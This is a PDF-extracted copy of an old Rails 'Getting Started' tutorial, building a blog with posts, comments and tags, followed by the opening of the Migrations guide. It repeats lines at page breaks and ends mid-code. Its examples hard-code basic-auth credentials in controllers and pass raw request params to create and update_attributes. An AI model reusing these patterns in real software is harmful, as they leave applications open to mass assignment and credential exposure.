<p>
  <b>Title:</b>
  <%= @post.title %>
</p>

<p>
  <b>Content:</b>
  <%= @post.content %>
</p>


<%= link_to 'Edit', edit_post_path(@post) %> |
<%= link_to 'Back', posts_path %>
```

6.11 Editing Posts

Like creating a new post, editing a post is a two-part process. The first step is a request to `edit_post_path(@post)` with a particular post. This calls the `edit` action in the controller:

```
def edit
  @post = Post.find(params[:id])
end
```

After finding the requested post, Rails uses the `edit.html.erb` view to display it:

```
<h1>Editing post</h1>

<%= render 'form' %>

<%= link_to 'Show', @post %> |
<%= link_to 'Back', posts_path %>
```

Again, as with the `new` action, the `edit` action is using the `form` partial. This time, however, the form will do a PUT action to the `PostsController` and the submit button will display “Update Post”.

Submitting the form created by this view will invoke the `update` action within the controller:

```
def update
  @post = Post.find(params[:id])

  respond_to do |format|
    if @post.update_attributes(params[:post])
      format.html  { redirect_to(@post,
                    :notice => 'Post was successfully updated.') }
      format.json  { head :no_content }
    else
```

```
    else
      format.html  { render :action => "edit" }
      format.json  { render :json => @post.errors,
                    :status => :unprocessable_entity }
    end
  end
end
```

In the `update` action, Rails first uses the `:id` parameter passed back from the edit view to locate the database record that's being edited. The `update_attributes` call then takes the `post` parameter (a hash) from the request and applies it to this record. If all goes well, the user is redirected to the post's `show` action. If there are any problems, it redirects back to the `edit` action to correct them.

6.12 Destroying a Post

Finally, clicking one of the `destroy` links sends the associated id to the `destroy` action:

```
def destroy
  @post = Post.find(params[:id])
  @post.destroy

  respond_to do |format|
    format.html { redirect_to posts_url }
    format.json { head :no_content }
  end
end
```

The `destroy` method of an Active Record model instance removes the corresponding record from the database. After that's done, there isn't any record to display, so Rails redirects the user's browser to the index action of the controller.

7 Adding a Second Model

Now that you've seen what a model built with scaffolding looks like, it's time to add a second model to the application. The second model will handle comments on blog posts.

7.1 Generating a Model

Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name `Comment`. Even if you don't want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal:

```
$ rails generate model Comment commenter:string body:text post:references
```

This command will generate four files:

File	Purpose
db/migrate/20100207235629_create_comments.rb	Migration to create the comments table in your database (your name will include a different timestamp)
app/models/comment.rb	The Comment model
test/unit/comment_test.rb	Unit testing harness for the comments model
test/fixtures/comments.yml	Sample comments for use in testing

First, take a look at `comment.rb`:

```
class Comment < ActiveRecord::Base
  belongs_to :post
end
```

This is very similar to the `post.rb` model that you saw earlier. The difference is the line `belongs_to :post`, which sets up an Active Record *association*. You'll learn a little about associations in the next section of this guide.

In addition to the model, Rails has also made a migration to create the corresponding database table:

In addition to the model, Rails has also made a migration to create the corresponding database table:

```
class CreateComments < ActiveRecord::Migration
  def change
    create_table :comments do |t|
      t.string :commenter
      t.text :body
      t.references :post

      t.timestamps
    end

    add_index :comments, :post_id
  end
end
```

The `t.references` line sets up a foreign key column for the association between the two models. And the `add_index` line sets up an index for this association column. Go ahead and run the migration:

```
$ rake db:migrate
```

Rails is smart enough to only execute the migrations that have not already been run against the current database, so in this case you will just see:

```
==  CreateComments: migrating ================================================
-- create_table(:comments)
   -> 0.0008s
-- add_index(:comments, :post_id)
   -> 0.0003s
==  CreateComments: migrated (0.0012s) =======================================
```

7.2 Associating Models

Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way:

- Each comment belongs to one post.
- One post can have many comments.

In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model that makes each comment belong to a Post:

```
class Comment < ActiveRecord::Base
  belongs_to :post
end
```

You'll need to edit the `post.rb` file to add the other side of the association:

```
class Post < ActiveRecord::Base
  validates :name,  :presence => true
  validates :title, :presence => true,
                    :length => { :minimum => 5 }

  has_many :comments
end
```

These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable `@post` containing a post, you can retrieve all the comments belonging to that post as an array using `@post.comments`.

For more information on Active Record associations, see the **Active Record Associations** guide.

7.3 Adding a Route for Comments

As with the `home` controller, we will need to add a route so that Rails knows where we would like to navigate to see `comments`. Open up the `config/routes.rb` file again. Near the top, you will see the entry for `posts` that was added

comments. Open up the `config/routes.rb` file again. Near the top, you will see the entry for `posts` that was added automatically by the scaffold generator: `resources :posts`. Edit it as follows:

```
resources :posts do
  resources :comments
end
```

This creates `comments` as a *nested resource* within `posts`. This is another part of capturing the hierarchical relationship that exists between posts and comments.

For more information on routing, see the **Rails Routing from the Outside In** guide.

7.4 Generating a Controller

With the model in hand, you can turn your attention to creating a matching controller. Again, there's a generator for this:

```
$ rails generate controller Comments
```

This creates six files and one empty directory:

File/Directory	Purpose
app/controllers/comments_controller.rb	The Comments controller
app/views/comments/	Views of the controller are stored here
test/functional/comments_controller_test.rb	The functional tests for the controller
app/helpers/comments_helper.rb	A view helper file
test/unit/helpers/comments_helper_test.rb	The unit tests for the helper
app/assets/javascripts/comment.js.coffee	CoffeeScript for the controller
app/assets/stylesheets/comment.css.scss	Cascading style sheet for the controller

Like with any blog, our readers will create their comments directly after reading the post, and once they have added their comment, will be sent back to the post show page to see their comment now listed. Due to this, our `CommentsController` is there to provide a method to create comments and delete spam comments when they arrive.

So first, we'll wire up the Post show template (`/app/views/posts/show.html.erb`) to let us make a new comment:

```
<p id="notice"><%= notice %></p>

<p>
  <b>Name:</b>
  <%= @post.name %>
</p>

<p>
  <b>Title:</b>
  <%= @post.title %>
</p>

<p>
  <b>Content:</b>
  <%= @post.content %>
</p>

<h2>Add a comment:</h2>
<%= form_for([@post, @post.comments.build]) do |f| %>
  <div class="field">
    <%= f.label :commenter %><br />
    <%= f.text_field :commenter %>
  </div>
  <div class="field">
    <%= f.label :body %><br />
    <%= f.text_area :body %>
  </div>
```

```
  </div>
  <div class="actions">
    <%= f.submit %>
  </div>
<% end %>

<%= link_to 'Edit Post', edit_post_path(@post) %> |
<%= link_to 'Back to Posts', posts_path %> |
```

This adds a form on the `Post` show page that creates a new comment by calling the `CommentsController` `create` action. Let's wire that up:

```
class CommentsController < ApplicationController
  def create
    @post = Post.find(params[:post_id])
    @comment = @post.comments.create(params[:comment])
    redirect_to post_path(@post)
  end
end
```

You'll see a bit more complexity here than you did in the controller for posts. That's a side-effect of the nesting that you've set up. Each request for a comment has to keep track of the post to which the comment is attached, thus the initial call to the `find` method of the `Post` model to get the post in question.

In addition, the code takes advantage of some of the methods available for an association. We use the `create` method on `@post.comments` to create and save the comment. This will automatically link the comment so that it belongs to that particular post.

Once we have made the new comment, we send the user back to the original post using the `post_path(@post)` helper. As we have already seen, this calls the `show` action of the `PostsController` which in turn renders the `show.html.erb` template. This is where we want the comment to show, so let's add that to the `app/views/posts/show.html.erb`.

```
<p id="notice"><%= notice %></p>

<p>
  <b>Name:</b>
  <%= @post.name %>
</p>

<p>
  <b>Title:</b>
  <%= @post.title %>
</p>

<p>
  <b>Content:</b>
  <%= @post.content %>
</p>

<h2>Comments</h2>
<% @post.comments.each do |comment| %>
  <p>
    <b>Commenter:</b>
    <%= comment.commenter %>
  </p>

  <p>
    <b>Comment:</b>
    <%= comment.body %>
  </p>
<% end %>
```

```
<h2>Add a comment:</h2>
<%= form_for([@post, @post.comments.build]) do |f| %>
  <div class="field">
    <%= f.label :commenter %><br />
    <%= f.text_field :commenter %>
  </div>
  <div class="field">
    <%= f.label :body %><br />
    <%= f.text_area :body %>
  </div>
  <div class="actions">
    <%= f.submit %>
  </div>
<% end %>

<br />

<%= link_to 'Edit Post', edit_post_path(@post) %> |
<%= link_to 'Back to Posts', posts_path %> |
```

Now you can add posts and comments to your blog and have them show up in the right places.

8 Refactoring

Now that we have posts and comments working, take a look at the `app/views/posts/show.html.erb` template. It is getting long and awkward. We can use partials to clean it up.

8.1 Rendering Partial Collections

First we will make a comment partial to extract showing all the comments for the post. Create the file `app/views/comments/_comment.html.erb` and put the following into it:

```
<p>
  <b>Commenter:</b>
  <%= comment.commenter %>
</p>

<p>
  <b>Comment:</b>
  <%= comment.body %>
</p>
```

Then you can change `app/views/posts/show.html.erb` to look like the following:

```
<p id="notice"><%= notice %></p>

<p>
  <b>Name:</b>
  <%= @post.name %>
</p>

<p>
  <b>Title:</b>
  <%= @post.title %>
</p>

<p>
  <b>Content:</b>
  <%= @post.content %>
</p>

<h2>Comments</h2>
```

```
<h2>Comments</h2>
<%= render @post.comments %>

<h2>Add a comment:</h2>
<%= form_for([@post, @post.comments.build]) do |f| %>
  <div class="field">
    <%= f.label :commenter %><br />
    <%= f.text_field :commenter %>
  </div>
  <div class="field">
    <%= f.label :body %><br />
    <%= f.text_area :body %>
  </div>
  <div class="actions">
    <%= f.submit %>
  </div>
<% end %>

<br />

<%= link_to 'Edit Post', edit_post_path(@post) %> |
<%= link_to 'Back to Posts', posts_path %> |
```

This will now render the partial in `app/views/comments/_comment.html.erb` once for each comment that is in the `@post.comments` collection. As the `render` method iterates over the `@post.comments` collection, it assigns each comment to a local variable named the same as the partial, in this case `comment` which is then available in the partial for us to show.

8.2 Rendering a Partial Form

Let us also move that new comment section out to its own partial. Again, you create a file `app/views/comments/_form.html.erb` containing:

```
<%= form_for([@post, @post.comments.build]) do |f| %>
  <div class="field">
    <%= f.label :commenter %><br />
    <%= f.text_field :commenter %>
  </div>
  <div class="field">
    <%= f.label :body %><br />
    <%= f.text_area :body %>
  </div>
  <div class="actions">
    <%= f.submit %>
  </div>
<% end %>
```

Then you make the `app/views/posts/show.html.erb` look like the following:

```
<p id="notice"><%= notice %></p>

<p>
  <b>Name:</b>
  <%= @post.name %>
</p>

<p>
  <b>Title:</b>
  <%= @post.title %>
</p>

<p>
```

```
'
  <b>Content:</b>
  <%= @post.content %>
</p>

<h2>Comments</h2>
<%= render @post.comments %>

<h2>Add a comment:</h2>
<%= render "comments/form" %>

<br />

<%= link_to 'Edit Post', edit_post_path(@post) %> |
<%= link_to 'Back to Posts', posts_path %> |
```

The second render just defines the partial template we want to render, `comments/form`. Rails is smart enough to spot the forward slash in that string and realize that you want to render the `_form.html.erb` file in the `app/views/comments` directory.

The `@post` object is available to any partials rendered in the view because we defined it as an instance variable.

9 Deleting Comments

Another important feature of a blog is being able to delete spam comments. To do this, we need to implement a link of some sort in the view and a `DELETE` action in the `CommentsController`.

So first, let's add the delete link in the `app/views/comments/_comment.html.erb` partial:

```
<p>
  <b>Commenter:</b>
  <%= comment.commenter %>
</p>

<p>
  <b>Comment:</b>
  <%= comment.body %>
</p>

<p>
  <%= link_to 'Destroy Comment', [comment.post, comment],
               :confirm => 'Are you sure?',
               :method => :delete %>
</p>
```

Clicking this new "Destroy Comment" link will fire off a `DELETE /posts/:id/comments/:id` to our `CommentsController`, which can then use this to find the comment we want to delete, so let's add a destroy action to our controller:

```
class CommentsController < ApplicationController

  def create
    @post = Post.find(params[:post_id])
    @comment = @post.comments.create(params[:comment])
    redirect_to post_path(@post)
  end

  def destroy
    @post = Post.find(params[:post_id])
    @comment = @post.comments.find(params[:id])
    @comment.destroy
    redirect_to post_path(@post)
  end
```

```
  end

end
```

The `destroy` action will find the post we are looking at, locate the comment within the `@post.comments` collection, and then remove it from the database and send us back to the show action for the post.

9.1 Deleting Associated Objects

If you delete a post then its associated comments will also need to be deleted. Otherwise they would simply occupy space in the database. Rails allows you to use the `dependent` option of an association to achieve this. Modify the Post model, `app/models/post.rb`, as follows:

```
class Post < ActiveRecord::Base
  validates :name,  :presence => true
  validates :title, :presence => true,
                    :length => { :minimum => 5 }
  has_many :comments, :dependent => :destroy
end
```

10 Security

If you were to publish your blog online, anybody would be able to add, edit and delete posts or delete comments.

Rails provides a very simple HTTP authentication system that will work nicely in this situation.

In the `PostsController` we need to have a way to block access to the various actions if the person is not authenticated, here we can use the Rails `http_basic_authenticate_with` method, allowing access to the requested action if that method allows it.

To use the authentication system, we specify it at the top of our `PostsController`, in this case, we want the user to be authenticated on every action, except for `index` and `show`, so we write that:

```
class PostsController < ApplicationController

  http_basic_authenticate_with :name => "dhh", :password => "secret", :except => [:index, :show]

  # GET /posts
  # GET /posts.json
  def index
    @posts = Post.all
    respond_to do |format|
# snipped for brevity
```

We also only want to allow authenticated users to delete comments, so in the `CommentsController` we write:

```
class CommentsController < ApplicationController

  http_basic_authenticate_with :name => "dhh", :password => "secret", :only => :destroy

  def create
    @post = Post.find(params[:post_id])
# snipped for brevity
```

Now if you try to create a new post, you will be greeted with a basic HTTP Authentication challenge

11 Building a Multi-Model Form

Another feature of your average blog is the ability to tag posts. To implement this feature your application needs to interact with more than one model on a single form. Rails offers support for nested forms.

To demonstrate this, we will add support for giving each post multiple tags, right in the form where you create the post. First, create a new model to hold the tags:

First, create a new model to hold the tags:

```
$ rails generate model tag name:string post:references
```

Again, run the migration to create the database table:

```
$ rake db:migrate
```

Next, edit the `post.rb` file to create the other side of the association, and to tell Rails (via the `accepts_nested_attributes_for` macro) that you intend to edit tags via posts:

```
class Post < ActiveRecord::Base
  validates :name,  :presence => true
  validates :title, :presence => true,
                    :length => { :minimum => 5 }

  has_many :comments, :dependent => :destroy
  has_many :tags

  accepts_nested_attributes_for :tags, :allow_destroy => :true,
    :reject_if => proc { |attrs| attrs.all? { |k, v| v.blank? } }
end
```

The `:allow_destroy` option tells Rails to enable destroying tags through the nested attributes (you'll handle that by displaying a "remove" checkbox on the view that you'll build shortly). The `:reject_if` option prevents saving new tags that do not have any attributes filled in.

We will modify `views/posts/_form.html.erb` to render a partial to make a tag:

```
<% @post.tags.build %>
<%= form_for(@post) do |post_form| %>
  <% if @post.errors.any? %>
  <div id="errorExplanation">
    <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2>
    <ul>
    <% @post.errors.full_messages.each do |msg| %>
      <li><%= msg %></li>
    <% end %>
    </ul>
  </div>
  <% end %>

  <div class="field">
    <%= post_form.label :name %><br />
    <%= post_form.text_field :name %>
  </div>
  <div class="field">
    <%= post_form.label :title %><br />
    <%= post_form.text_field :title %>
  </div>
  <div class="field">
    <%= post_form.label :content %><br />
    <%= post_form.text_area :content %>
  </div>
  <h2>Tags</h2>
  <%= render :partial => 'tags/form',
             :locals => {:form => post_form} %>
  <div class="actions">
    <%= post_form.submit %>
  </div>
<% end %>
```

Note that we have changed the `f` in `form_for(@post) do |f|` to `post_form` to make it easier to understand what is

going on.

This example shows another option of the render helper, being able to pass in local variables, in this case, we want the local variable `form` in the partial to refer to the `post_form` object.

We also add a `@post.tags.build` at the top of this form. This is to make sure there is a new tag ready to have its name filled in by the user. If you do not build the new tag, then the form will not appear as there is no new Tag object ready to create.

Now create the folder `app/views/tags` and make a file in there called `_form.html.erb` which contains the form for the tag:

```
<%= form.fields_for :tags do |tag_form| %>
  <div class="field">
    <%= tag_form.label :name, 'Tag:' %>
    <%= tag_form.text_field :name %>
  </div>
  <% unless tag_form.object.nil? || tag_form.object.new_record? %>
    <div class="field">
      <%= tag_form.label :_destroy, 'Remove:' %>
      <%= tag_form.check_box :_destroy %>
    </div>
  <% end %>
<% end %>
```

Finally, we will edit the `app/views/posts/show.html.erb` template to show our tags.

```
<p id="notice"><%= notice %></p>

<p>
  <b>Name:</b>
  <%= @post.name %>
</p>

<p>
  <b>Title:</b>
  <%= @post.title %>
</p>

<p>
  <b>Content:</b>
  <%= @post.content %>
</p>

<p>
  <b>Tags:</b>
  <%= @post.tags.map { |t| t.name }.join(", ") %>
</p>

<h2>Comments</h2>
<%= render @post.comments %>

<h2>Add a comment:</h2>
<%= render "comments/form" %>


<%= link_to 'Edit Post', edit_post_path(@post) %> |
<%= link_to 'Back to Posts', posts_path %> |
```

With these changes in place, you'll find that you can edit a post and its tags directly on the same view.

However, that method call `@post.tags.map { |t| t.name }.join(", ")` is awkward, we could handle this by making a helper method

a helper method.

12 View Helpers

View Helpers live in `app/helpers` and provide small snippets of reusable code for views. In our case, we want a method that strings a bunch of objects together using their name attribute and joining them with a comma. As this is for the Post show template, we put it in the PostsHelper.

Open up `app/helpers/posts_helper.rb` and add the following:

```
module PostsHelper
  def join_tags(post)
    post.tags.map { |t| t.name }.join(", ")
  end
end
```

Now you can edit the view in `app/views/posts/show.html.erb` to look like this:

```
<p id="notice"><%= notice %></p>

<p>
  <b>Name:</b>
  <%= @post.name %>
</p>

<p>
  <b>Title:</b>
  <%= @post.title %>
</p>

<p>
  <b>Content:</b>
  <%= @post.content %>
</p>

<p>
  <b>Tags:</b>
  <%= join_tags(@post) %>
</p>

<h2>Comments</h2>
<%= render @post.comments %>

<h2>Add a comment:</h2>
<%= render "comments/form" %>


<%= link_to 'Edit Post', edit_post_path(@post) %> |
<%= link_to 'Back to Posts', posts_path %> |
```

13 What’s Next?

Now that you’ve seen your first Rails application, you should feel free to update it and experiment on your own. But you don’t have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources:

- The **Ruby on Rails guides**
- The **Ruby on Rails Tutorial**
- The **Ruby on Rails mailing list**
- The **#rubyonrails** channel on irc.freenode.net

Rails also comes with built-in help that you can generate using the rake command-line utility:

- Running `rake doc:guides` will put a full copy of the Rails Guides in the `doc/guides` folder of your application. Open `doc/guides/index.html` in your web browser to explore the Guides.
- Running `rake doc:rails` will put a full copy of the API documentation for Rails in the `doc/api` folder of your application. Open `doc/api/index.html` in your web browser to explore the API documentation.

14 Configuration Gotchas

The easiest way to work with Rails is to store all external data as UTF-8. If you don't, Ruby libraries and Rails will often be able to convert your native data into UTF-8, but this doesn't always work reliably, so you're better off ensuring that all external data is UTF-8.

If you have made a mistake in this area, the most common symptom is a black diamond with a question mark inside appearing in the browser. Another common symptom is characters like "Ã¼" appearing instead of "ü". Rails takes a number of internal steps to mitigate common causes of these problems that can be automatically detected and corrected. However, if you have external data that is not stored as UTF-8, it can occasionally result in these kinds of issues that cannot be automatically detected by Rails and corrected.

Two very common sources of data that are not UTF-8:

- Your text editor: Most text editors (such as Textmate), default to saving files as UTF-8. If your text editor does not, this can result in special characters that you enter in your templates (such as é) to appear as a diamond with a question mark inside in the browser. This also applies to your I18N translation files. Most editors that do not already default to UTF-8 (such as some versions of Dreamweaver) offer a way to change the default to UTF-8. Do so.
- Your database. Rails defaults to converting data from your database into UTF-8 at the boundary. However, if your database is not using UTF-8 internally, it may not be able to store all characters that your users enter. For instance, if your database is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese character, the data will be lost forever once it enters the database. If possible, use UTF-8 as the internal storage of your database.

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Migrations

Migrations are a convenient way for you to alter your database in a structured and organized manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run them. You'd also have to keep track of which changes need to be run against the production machines next time you deploy.

Active Record tracks which migrations have already been run so all you have to do is update your source and run `rake db:migrate`. Active Record will work out which migrations should be run. It will also update your `db/schema.rb` file to match the structure of your database.

Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record's functionality) it is database independent: you don't need to worry about the precise syntax of `CREATE TABLE` any more than you worry about variations on `SELECT *` (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production.

In this guide, you'll learn all about migrations including:

- The generators you can use to create them
- The methods Active Record provides to manipulate your database
- The Rake tasks that manipulate them
- How they relate to `schema.rb`

Chapters

1. Anatomy of a Migration
    - Migrations are Classes
    - What's in a Name
    - Changing Migrations
    - Supported Types
2. Creating a Migration
    - Creating a Model
    - Creating a Standalone Migration
3. Writing a Migration
    - Creating a Table
    - Changing Tables
    - Special Helpers
    - Using the `change` Method
    - Using the `up`/`down` Methods
4. Running Migrations
    - Rolling Back
    - Resetting the database
    - Running specific migrations
    - Changing the output of running migrations
5. Using Models in Your Migrations
6. Schema Dumping and You
    - What are Schema Files for?
    - Types of Schema Dumps
    - Schema Dumps and Source Control
7. Active Record and Referential Integrity

1 Anatomy of a Migration

Before we dive into the details of a migration, here are a few examples of the sorts of things you can do:

```
class CreateProducts < ActiveRecord::Migration
  def up
    create_table :products do |t|
      t.string :name
      t.text :description

      t.timestamps
    end
  end

  def down
    drop_table :products
  end
end
```

This migration adds a table called `products` with a string column called `name` and a text column called `description`. A primary key column called `id` will also be added, however since this is the default we do not need to ask for this. The timestamp columns `created_at` and `updated_at` which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table.

Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields:

```
class AddReceiveNewsletterToUsers < ActiveRecord::Migration
  def up
    change_table :users do |t|
      t.boolean :receive_newsletter, :default => false
    end
    User.update_all ["receive_newsletter = ?", true]
  end

  def down
    remove_column :users, :receive_newsletter
  end
end
```

Some **caveats** apply to using models in your migrations.

This migration adds a `receive_newsletter` column to the `users` table. We want it to default to `false` for new users, but existing users are considered to have already opted in, so we use the User model to set the flag to `true` for existing users.

Rails 3.1 makes migrations smarter by providing a new `change` method. This method is preferred for writing constructive migrations (adding columns or tables). The migration knows how to migrate your database and reverse it when the migration is rolled back without the need to write a separate `down` method.

```
class CreateProducts < ActiveRecord::Migration
  def change
    create_table :products do |t|
      t.string :name
      t.text :description

      t.timestamps
    end
  end
end
```

1.1 Migrations are Classes

A migration is a subclass of `ActiveRecord::Migration` that implements two methods: `up` (perform the required transformations) and `down` (revert them).

Active Record provides methods that perform common data definition tasks in a database independent way (you'll read

Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later):

- `add_column`
- `add_index`
- `change_column`
- `change_table`
- `create_table`
- `drop_table`
- `remove_column`
- `remove_index`
- `rename_column`

If you need to perform tasks specific to your database (for example create a **foreign key** constraint) then the `execute` method allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models).

On databases that support transactions with statements that change the schema (such as PostgreSQL or SQLite3), migrations are wrapped in a transaction. If the database does not support this (for example MySQL) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to rollback the changes that were made by hand.

1.2 What's in a Name

Migrations are stored as files in the `db/migrate` directory, one for each migration class. The name of the file is of the form `YYYYMMDDHHMMSS_create_products.rb`, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The name of the migration class (CamelCased version) should match the latter part of the file name. For example `20080906120000_create_products.rb` should define class `CreateProducts` and `20080906120001_add_details_to_products.rb` should define `AddDetailsToProducts`. If you do feel the need to change the file name then you *have to* update the name of the class inside or Rails will complain about a missing class.

Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1+ this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by adding the following line to `config/application.rb`.

```
config.active_record.timestamped_migrations = false
```

The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers.

For example Alice adds migrations `20080906120000` and `20080906123000` and Bob adds `20080906124500` and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. When Bob runs `rake db:migrate`, Rails knows that it has not run Alice's two migrations so it executes the `up` method for each migration.

Of course this is no substitution for communication within the team. For example, if Alice's migration removed a table that Bob's migration assumed to exist, then trouble would certainly strike.

1.3 Changing Migrations

Occasionally you will make a mistake when writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run `rake db:migrate`. You must rollback the migration (for example with `rake db:rollback`), edit your migration and then run `rake db:migrate` to run the corrected version.

In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead, you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or, more generally, which has not been propagated beyond your development machine) is relatively harmless.

development machine, is relatively harmless.

1.4 Supported Types

Active Record supports the following database column types:

- `:binary`
- `:boolean`
- `:date`
- `:datetime`
- `:decimal`
- `:float`
- `:integer`
- `:primary_key`
- `:string`
- `:text`
- `:time`
- `:timestamp`

These will be mapped onto an appropriate underlying database type. For example, with MySQL the type `:string` is mapped to `VARCHAR(255)`. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example

```
create_table :products do |t|
  t.column :name, 'polygon', :null => false
end
```

This may however hinder portability to other databases.

2 Creating a Migration

2.1 Creating a Model

The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want, then statements for adding these columns will also be created. For example, running

```
$ rails generate model Product name:string description:text
```

will create a migration that looks like this

```
class CreateProducts < ActiveRecord::Migration
  def change
    create_table :products do |t|
      t.string :name
      t.text :description

      t.timestamps
    end
  end
end
```

You can append as many column name/type pairs as you want. By default, the generated migration will include `t.timestamps` (which creates the `updated_at` and `created_at` columns that are automatically populated by Active Record).

2.2 Creating a Standalone Migration

If you are creating migrations for other purposes (for example to add a column to an existing table) then you can also use the migration generator:

```
$ rails generate migration AddPartNumberToProducts
```

This will create an empty but appropriately named migration:

This will create an empty but appropriately named migration:

```
class AddPartNumberToProducts < ActiveRecord::Migration
  def change
  end
end
```

If the migration name is of the form “AddXXXToYYY” or “RemoveXXXFromYYY” and is followed by a list of column names and types then a migration containing the appropriate `add_column` and `remove_column` statements will be created.

```
$ rails generate migration AddPartNumberToProducts part_number:string
```

will generate

```
class AddPartNumberToProducts < ActiveRecord::Migration
  def change
    add_column :products, :part_number, :string
  end
end
```

Similarly,

```
$ rails generate migration RemovePartNumberFromProducts part_number:string
```

generates

```
class RemovePartNumberFromProducts < ActiveRecord::Migration
  def up
    remove_column :products, :part_number
  end

  def down
    add_column :products, :part_number, :string
  end
end
```

You are not limited to one magically generated column, for example

```
$ rails generate migration AddDetailsToProducts part_number:string price:decimal
```

generates

```
class AddDetailsToProducts < ActiveRecord::Migration
  def change
    add_column :products, :part_number, :string
    add_column :products, :price, :decimal
  end
end
```

As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit by editing the db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb file.

The generated migration file for destructive migrations will still be old-style using the `up` and `down` methods. This is because Rails needs to know the original data types defined when you made the original changes.

3 Writing a Migration

Once you have created your migration using one of the generators it’s time to get to work!

3.1 Creating a Table

Migration method `create_table` will be one of your workhorses. A typical use would be

```
create_table :products do |t|
  t.string :name
```

```
end
```

which creates a `products` table with a column called `name` (and as discussed below, an implicit `id` column).

The object yielded to the block allows you to create columns on the table. There are two ways of doing it. The first (traditional) form looks like

```
create_table :products do |t|
  t.column :name, :string, :null => false
end
```

The second form, the so called “sexy” migration, drops the somewhat redundant `column` method. Instead, the `string`, `integer`, etc. methods create a column of that type. Subsequent parameters are the same.

```
create_table :products do |t|
  t.string :name, :null => false
end
```

By default, `create_table` will create a primary key called `id`. You can change the name of the primary key with the `:primary_key` option (don’t forget to update the corresponding model) or, if you don’t want a primary key at all (for example for a HABTM join table), you can pass the option `:id => false`. If you need to pass database specific options you can place an SQL fragment in the `:options` option. For example,

```
create_table :products, :options => "ENGINE=BLACKHOLE" do |t|
  t.string :name, :null => false
end
```

will append `ENGINE=BLACKHOLE` to the SQL statement used to create the table (when using MySQL, the default is `ENGINE=InnoDB`).

3.2 Changing Tables

A close cousin of `create_table` is `change_table`, used for changing existing tables. It is used in a similar fashion to `create_table` but the object yielded to the block knows more tricks. For example

```
change_table :products do |t|
  t.remove :description, :name
  t.string :part_number
  t.index :part_number
  t.rename :upccode, :upc_code
end
```

removes the `description` and `name` columns, creates a `part_number` string column and adds an index on it. Finally it renames the `upccode` column.

3.3 Special Helpers

Active Record provides some shortcuts for common functionality. It is for example very common to add both the `created_at` and `updated_at` columns and so there is a method that does exactly that:

```
create_table :products do |t|
  t.timestamps
end
```

will create a new products table with those two columns (plus the `id` column) whereas

```
change_table :products do |t|
  t.timestamps
end
```

adds those columns to an existing table.

Another helper is called `references` (also available as `belongs_to`). In its simplest form it just adds some readability.

```
create_table :products do |t|
```

```
create_table :products do |t|
  t.references :category
end
```

will create a `category_id` column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the `_id` for you. If you have polymorphic `belongs_to` associations then `references` will add both of the columns required:

```
create_table :products do |t|
  t.references :attachment, :polymorphic => {:default => 'Photo'}
end
```

will add an `attachment_id` column and a string `attachment_type` column with a default value of 'Photo'.

The `references` helper does not actually create foreign key constraints for you. You will need to use `execute` or a plugin that adds **foreign key support**.

If the helpers provided by Active Record aren't enough you can use the `execute` method to execute arbitrary SQL.

For more details and examples of individual methods, check the API documentation, in particular the documentation for **`ActiveRecord::ConnectionAdapters::SchemaStatements`** (which provides the methods available in the `up` and `down` methods), **`ActiveRecord::ConnectionAdapters::TableDefinition`** (which provides the methods available on the object yielded by `create_table`) and **`ActiveRecord::ConnectionAdapters::Table`** (which provides the methods available on the object yielded by `change_table`).

3.4 Using the `change` Method

The `change` method removes the need to write both `up` and `down` methods in those cases that Rails know how to revert the changes automatically. Currently, the `change` method supports only these migration definitions:

- `add_column`
- `add_index`
- `add_timestamps`
- `create_table`
- `remove_timestamps`
- `rename_column`
- `rename_index`
- `rename_table`

If you're going to need to use any other methods, you'll have to write the `up` and `down` methods instead of using the `change` method.

3.5 Using the `up/down` Methods

The `down` method of your migration should revert the transformations done by the `up` method. In other words, the database schema should be unchanged if you do an `up` followed by a `down`. For example, if you create a table in the `up` method, you should drop it in the `down` method. It is wise to reverse the transformations in precisely the reverse order they were made in the `up` method. For example,

```
class ExampleMigration < ActiveRecord::Migration
  def up
